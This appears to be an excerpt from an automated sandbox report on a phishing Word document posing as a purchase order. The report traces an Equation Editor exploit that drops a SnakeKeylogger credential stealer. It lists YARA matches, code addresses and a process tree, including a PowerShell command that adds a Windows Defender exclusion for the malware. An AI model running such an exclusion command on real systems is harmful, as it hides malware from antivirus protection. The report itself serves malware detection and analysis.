Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00675BE0 8_2_00675BE0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067E4E0 8_2_0067E4E0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006768E8 8_2_006768E8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006782F6 8_2_006782F6
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006775F0 8_2_006775F0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00678FF0 8_2_00678FF0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006782F8 8_2_006782F8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067C8C1 8_2_0067C8C1
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067AEC0 8_2_0067AEC0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006741C0 8_2_006741C0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067BBC8 8_2_0067BBC8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006734C8 8_2_006734C8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00675BD4 8_2_00675BD4
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067C8D0 8_2_0067C8D0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006741D0 8_2_006741D0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00674ED0 8_2_00674ED0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006768DC 8_2_006768DC
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00674ED8 8_2_00674ED8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067D5D8 8_2_0067D5D8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067FBD8 8_2_0067FBD8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006798A2 8_2_006798A2
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00677EA0 8_2_00677EA0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067F2A8 8_2_0067F2A8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00678BA8 8_2_00678BA8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006798B0 8_2_006798B0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067AEB0 8_2_0067AEB0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006734B9 8_2_006734B9
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067BBB8 8_2_0067BBB8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067D180 8_2_0067D180
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00674A80 8_2_00674A80
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00676480 8_2_00676480
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00675788 8_2_00675788
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_0067DE88 8_2_0067DE88
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00677188 8_2_00677188
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00676490 8_2_00676490
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00677E9E 8_2_00677E9E
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00677198 8_2_00677198
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00678B98 8_2_00678B98
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E2E78 8_2_006E2E78
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E0040 8_2_006E0040
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E3C38 8_2_006E3C38
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E50D8 8_2_006E50D8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E3558 8_2_006E3558
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E9928 8_2_006E9928
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E4318 8_2_006E4318
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E49F8 8_2_006E49F8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006EB5C1 8_2_006EB5C1
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E57B8 8_2_006E57B8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E2E68 8_2_006E2E68
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E3C28 8_2_006E3C28
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006EA018 8_2_006EA018
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E2AF4 8_2_006E2AF4
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E50C8 8_2_006E50C8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E0ED8 8_2_006E0ED8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E354A 8_2_006E354A
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E2121 8_2_006E2121
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E2130 8_2_006E2130
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E4308 8_2_006E4308
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E2B00 8_2_006E2B00
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E49E9 8_2_006E49E9
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E83C8 8_2_006E83C8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E83D8 8_2_006E83D8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_006E57A8 8_2_006E57A8
Yara signature match
Source: Thyssenkrupp PO040232.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: hgqilegacy20306.exe PID: 3416, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: hgqilegacy20306.exe PID: 3508, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: XcsQpLjhNNvxYtrw[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: hgqilegacy20306.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, UYIMtqoPLcKSuPT8Sm.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, FfqA4hD1YFgf9Fce7S.cs Security API names: _0020.SetAccessControl
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, FfqA4hD1YFgf9Fce7S.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.hgqilegacy20306.exe.349a8a0.8.raw.unpack, FfqA4hD1YFgf9Fce7S.cs Security API names: _0020.AddAccessRule
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, FfqA4hD1YFgf9Fce7S.cs Security API names: _0020.SetAccessControl
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, FfqA4hD1YFgf9Fce7S.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, FfqA4hD1YFgf9Fce7S.cs Security API names: _0020.AddAccessRule
Source: 5.2.hgqilegacy20306.exe.56d0000.9.raw.unpack, UYIMtqoPLcKSuPT8Sm.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@9/15@89/9
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$yssenkrupp PO040232.doc Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRBF87.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................(..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................(..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................(..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n.......................<..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.<..................................s............x....... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<.......(..........................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<.......:..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<.......F..........................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....X..........................s............x.......$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<.......d..........................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<.......v..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............x.......2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................<..................................s............x............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................<..................................s............x............................... Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Thyssenkrupp PO040232.doc ReversingLabs: Detection: 44%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe"
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe"
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
